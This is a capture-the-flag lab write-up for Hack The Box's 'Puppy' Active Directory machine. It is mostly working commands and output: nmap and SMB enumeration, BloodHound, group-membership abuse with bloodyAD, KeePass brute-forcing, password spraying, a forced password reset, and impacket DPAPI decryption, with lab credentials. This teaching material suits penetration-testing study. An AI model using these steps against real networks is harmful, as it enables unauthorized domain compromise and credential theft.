Reconnaissance
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-05-18 15:24:45Z)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
2049/tcp open nlockmgr 1-4 (RPC #100021)
3260/tcp open iscsi?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49685/tcp open msrpc Microsoft Windows RPC
62126/tcp open msrpc Microsoft Windows RPC
64757/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-05-18T15:26:32
|_ start_date: N/A
|_clock-skew: 6h59m59s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Apparently I’m dealing with the Domain Controller DC
for the puppy.htb
domain. Therefore I add the domain, hostname and FQDN to my /etc/hosts
file.
Initial Access
Info
As is common in real life pentests, you will start the Puppy box with credentials for the following account:
levi.james / KingofAkron2025!
In order to check if the credentials I was provided with are valid, I’ll run nxc to list the shares on the domain controller. This confirms the validity and shows the non-default share DEV
where I don’t have access to.
$ nxc smb dc.puppy.htb -u levi.james \
-p 'KingofAkron2025!' \
--shares
SMB 10.129.165.248 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.129.165.248 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB 10.129.165.248 445 DC [*] Enumerated shares
SMB 10.129.165.248 445 DC Share Permissions Remark
SMB 10.129.165.248 445 DC ----- ----------- ------
SMB 10.129.165.248 445 DC ADMIN$ Remote Admin
SMB 10.129.165.248 445 DC C$ Default share
SMB 10.129.165.248 445 DC DEV DEV-SHARE for PUPPY-DEVS
SMB 10.129.165.248 445 DC IPC$ READ Remote IPC
SMB 10.129.165.248 445 DC NETLOGON READ Logon server share
SMB 10.129.165.248 445 DC SYSVOL READ Logon server share
Privilege Escalation
Shell as adam.silver
Next I’ll run bloodhound-ce-python to collect the data for BloodHound and get an overview over the puppy.htb
domain.
$ bloodhound-ce-python -d puppy.htb \
-dc dc.puppy.htb \
-u levi.james \
-p 'KingofAkron2025!' \
-c ALL \
--zip \
-ns 10.129.165.248
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: puppy.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc.puppy.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.puppy.htb
INFO: Found 10 users
INFO: Found 56 groups
INFO: Found 3 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.PUPPY.HTB
INFO: Done in 00M 04S
INFO: Compressing output into 20250518102926_bloodhound.zip
The user levi.james
has GenericWrite
over the DEVELOPERS
group due to the membership in HR
. This means I can add the account to that group. Based on the name this might give me access to the DEV
share.
I use bloodyAD to add levi.james
to the DEVELOPERS
group and rerun the SMB share enumeration. This time the DEV
share is marked with READ
.
$ bloodyAD --host dc.puppy.htb \
-d puppy.htb \
-u levi.james \
-p 'KingofAkron2025!' \
add groupMember DEVELOPERS levi.james
[+] levi.james added to DEVELOPERS
$ nxc smb dc.puppy.htb -u levi.james \
-p 'KingofAkron2025!' \
--shares
SMB 10.129.165.248 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.129.165.248 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB 10.129.165.248 445 DC [*] Enumerated shares
SMB 10.129.165.248 445 DC Share Permissions Remark
SMB 10.129.165.248 445 DC ----- ----------- ------
SMB 10.129.165.248 445 DC ADMIN$ Remote Admin
SMB 10.129.165.248 445 DC C$ Default share
SMB 10.129.165.248 445 DC DEV READ DEV-SHARE for PUPPY-DEVS
SMB 10.129.165.248 445 DC IPC$ READ Remote IPC
SMB 10.129.165.248 445 DC NETLOGON READ Logon server share
SMB 10.129.165.248 445 DC SYSVOL READ Logon server share
Accessing the share with smbclient
reveals two files related to KeepassXC and an empty folder. I download the kdbx
password database to my host.
$ impacket-smbclient 'puppy.htb/levi.james:KingofAkron2025!'@dc.puppy.htb
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Type help for list of commands
# use DEV
# ls
drw-rw-rw- 0 Sun Mar 23 08:07:57 2025 .
drw-rw-rw- 0 Sat Mar 8 17:52:57 2025 ..
-rw-rw-rw- 34394112 Sun Mar 23 08:09:12 2025 KeePassXC-2.7.9-Win64.msi
drw-rw-rw- 0 Sun Mar 9 21:16:16 2025 Projects
-rw-rw-rw- 2677 Wed Mar 12 03:25:46 2025 recovery.kdbx
# get recovery.kdbx
Obviously the database is secured with a password, but keepass2john
is not able to extract the hash due to the version. Looking for an alternative finds keepass2brute that’s basically a wrapper around keepassxc-cli
to check passwords from a wordlist.
# Install dependency
$ sudo apt install keepassxc
$ git clone https://github.com/r3nt0n/keepass4brute && cd keepass4brute
$ ./keepass4brute.sh recovery.kdbx /usr/share/wordlists/rockyou.txt
keepass4brute 1.3 by r3nt0n
https://github.com/r3nt0n/keepass4brute
[+] Words tested: 36/14344392 - Attempts per minute: 33 - Estimated time remaining: 43 weeks, 0 days
[+] Current attempt: liverpool
[*] Password found: liverpool
Running the script takes a bit of time but eventually finds liverpool
as password. This allows me to unlock the database and check out its content. There are 5 users and their passwords listed, but checking the very first one for adam.silver
fails.
I then add the 5 passwords and the one for levi.james
to a file and dump all users with nxc. Next I’ll check all combinations to see if any of the credentials are valid.
$ cat passwords.txt
HJKL2025!
Antman2025!
JamieLove2025!
ILY2025!
Steve2025!
KingofAkron2025!
$ nxc smb dc.puppy.htb -u levi.james \
-p 'KingofAkron2025!' \
--users-export users.txt
SMB 10.129.165.248 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.129.165.248 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB 10.129.165.248 445 DC -Username- -Last PW Set- -BadPW- -Description-
SMB 10.129.165.248 445 DC Administrator 2025-02-19 19:33:28 0 Built-in account for administering the computer/domain
SMB 10.129.165.248 445 DC Guest <never> 0 Built-in account for guest access to the computer/domain
SMB 10.129.165.248 445 DC krbtgt 2025-02-19 11:46:15 0 Key Distribution Center Service Account
SMB 10.129.165.248 445 DC levi.james 2025-02-19 12:10:56 0
SMB 10.129.165.248 445 DC ant.edwards 2025-02-19 12:13:14 0
SMB 10.129.165.248 445 DC adam.silver 2025-05-18 16:04:29 0
SMB 10.129.165.248 445 DC jamie.williams 2025-02-19 12:17:26 0
SMB 10.129.165.248 445 DC steph.cooper 2025-02-19 12:21:00 0
SMB 10.129.165.248 445 DC steph.cooper_adm 2025-03-08 15:50:40 0
SMB 10.129.165.248 445 DC [*] Enumerated 9 local users: PUPPY
SMB 10.129.165.248 445 DC [*] Writing 9 local users to users.txt
$ nxc smb dc.puppy.htb -u users.txt \
-p passwords.txt \
--continue-on-success \
| grep '[+]'
SMB 10.129.165.248 445 DC [+] PUPPY.HTB\ant.edwards:Antman2025!
SMB 10.129.165.248 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
The credentials for levi.james
obviously generate a hit, but also ant.edwards:Antman2025!
seem to be valid credentials. Going back to BloodHound there’s an edge between ant.edwards
and adam.silver
. Members of the SENIOR DEVS
group have a GenericAll over adam.silver
and can therefore modify the account.
The account adam.silver
is part of the REMOTE MANAGEMENT USERS
group and should be able to use WinRM to log into the target. BloodHound shows that the account is disabled though.
I decide to change the password for the account and then I also enable the account in order to use it. Both of those steps can be accomplished with bloodyAD. Then I can use evil-winrm to log in and collect the first flag.
$ bloodyAD --host dc.puppy.htb \
-d puppy.htb \
-u ant.edwards \
-p 'Antman2025!' \
set password "adam.silver" 'Helloworld123!'
[+] Password changed successfully!
$ bloodyAD --host dc.puppy.htb \
-d puppy.htb \
-u ant.edwards \
-p 'Antman2025!' \
remove uac adam.silver -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from adam.silver's userAccountControl
Shell as steph.cooper
In the root directory of the C
drive there’s a folder called Backups
. Peeking inside there’s a ZIP archive and I decide to download it to my host with the built-in download feature of evil-winrm.
After unzipping the file there’s an index.html, two folders and nms-auth-config.xml.bak
. The XML file contains the credentials steph.cooper:ChefSteph2025!
to be used to connect the application to LDAP. BloodHound reports the user to be in the REMOTE MANAGEMENT USERS
group as well and I’ll get a new session in that users context.
<?xml version="1.0" encoding="UTF-8"?>
<ldap-config>
<server>
<host>DC.PUPPY.HTB</host>
<port>389</port>
<base-dn>dc=PUPPY,dc=HTB</base-dn>
<bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
<bind-password>ChefSteph2025!</bind-password>
</server>
<user-attributes>
<attribute name="username" ldap-attribute="uid" />
<attribute name="firstName" ldap-attribute="givenName" />
<attribute name="lastName" ldap-attribute="sn" />
<attribute name="email" ldap-attribute="mail" />
</user-attributes>
<group-attributes>
<attribute name="groupName" ldap-attribute="cn" />
<attribute name="groupMember" ldap-attribute="member" />
</group-attributes>
<search-filter>
<filter>(&(objectClass=person)(uid=%s))</filter>
</search-filter>
</ldap-config>
Shell as steph.cooper_adm
Checking for stored DPAPI credentials I find C8D69EBE9A43E9DEBF6B5FBD48B521B9
and download that file to my host.
PS > cd $env:appdata\microsoft\credentials
PS > ls -force
Directory: C:\Users\steph.cooper\AppData\Roaming\microsoft\credentials
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 3/8/2025 7:54 AM 414 C8D69EBE9A43E9DEBF6B5FBD48B521B9
Then I use dpapi
from impacket to find the corresponding masterkey. The decryption fails but it prints 556A2412-1275-4CCF-B721-E6A0B4F90407
as the GUID to look for.
$ impacket-dpapi credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[BLOB]
Version : 1 (1)
Guid Credential : DF9D8CD0-1501-11D1-8C7A-00C04FC297EB
MasterKeyVersion : 1 (1)
Guid MasterKey : 556A2412-1275-4CCF-B721-E6A0B4F90407
Flags : 20000000 (CRYPTPROTECT_SYSTEM)
Description : Enterprise Credential Data
CryptAlgo : 00006603 (26115) (CALG_3DES)
Salt : b'711bed180e9affbd35ae0e91ff77b395'
HMacKey : b''
HashAlgo : 00008004 (32772) (CALG_SHA)
HMac : b'0ad0ff7a33f05732d938c7562521cd70'
Data : b'315eb3036256373fb93c03158b0669b2281ac05551a17e77d5ae4ccb42ed8004d7aed11eb66c4149d0275f70138d963f098369ad7155d75ae60f4a2543b1efec3ae75049fdd91a66210b3db503c73a24218b8d6b92efc7d09f22d6e5154b2f3669dbeea011c494d44b3115d1c2a7d713d5f1c81e5d1c5db22f1ad7d475e21cc4fabf9cde4f63c4d1dd3f22eebc358797c4ce5097ec817322ed1abf218f9eb20336006eb48907597fb18ebcd6297184886acc91b82246f7ddc05c5bfd7ac44fd3a9f281b12e423a32bf1098565b8d2e35'
Sign : b'3ab1905cf0eef6d04985f52dfb4989a7f6c1a49c'
Cannot decrypt (specify -key or -sid whenever applicable)
Masterkeys for the account are stored in AppData\Roaming\Microsoft\Protect\<SID>
and there’s just one single file with the GUID I am looking for. I also download this file to my machine.
PS > cd $env:appdata\microsoft\protect
PS > ls -force
Directory: C:\Users\steph.cooper\AppData\Roaming\microsoft\protect
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---s- 2/23/2025 2:36 PM S-1-5-21-1487982659-1829050783-2281216199-1107
-a-hs- 3/8/2025 7:40 AM 24 CREDHIST
-a-hs- 3/8/2025 7:40 AM 76 SYNCHIST
PS > cd S-1-5-21-1487982659-1829050783-2281216199-1107
PS > ls -force
Directory: C:\Users\steph.cooper\AppData\Roaming\microsoft\protect\S-1-5-21-1487982659-1829050783-2281216199-1107
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 3/8/2025 7:40 AM 740 556a2412-1275-4ccf-b721-e6a0b4f90407
While providing the SID and password of the account steph.cooper
I can decrypt the masterkey into a long hex string. Then I provide this as additional input for the previously used command to decrypt the actual credential file.
$ impacket-dpapi masterkey -sid S-1-5-21-1487982659-1829050783-2281216199-1107 \
-password 'ChefSteph2025!' \
-file 556a2412-1275-4ccf-b721-e6a0b4f90407
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[MASTERKEYFILE]
Version : 2 (2)
Guid : 556a2412-1275-4ccf-b721-e6a0b4f90407
Flags : 0 (0)
Policy : 4ccf1275 (1288639093)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)
Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
$ impacket-dpapi credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 \
-key 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[CREDENTIAL]
LastWritten : 2025-03-08 15:54:29+00:00
Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target : Domain:target=PUPPY.HTB
Description :
Unknown :
Username : steph.cooper_adm
Unknown : FivethChipOnItsWay2025!
The decrypted credentials steph.cooper_adm:FivethChipOnItsWay2025!
belong to an account in the ADMINISTRATORS
group and I can use them to collect the final flag.
Attack Path
flowchart TD subgraph "Privilege Escalation" A(james.levi) -->|GenericWrite| B(Member of DEVELOPERS) B -->|Access to DEV share| C(Keepass Database) C -->|Brute Force| D(Credentials for Users) D --> E(Access as ant.edwards) E -->|GenericAll| F(Shell as adam.silver) F -->|Access to /Backups| G(Configuration Files) G --> H(Shell as steph.cooper) H -->|DPAPI Credentials| I(Shell as steph.cooper_adm) end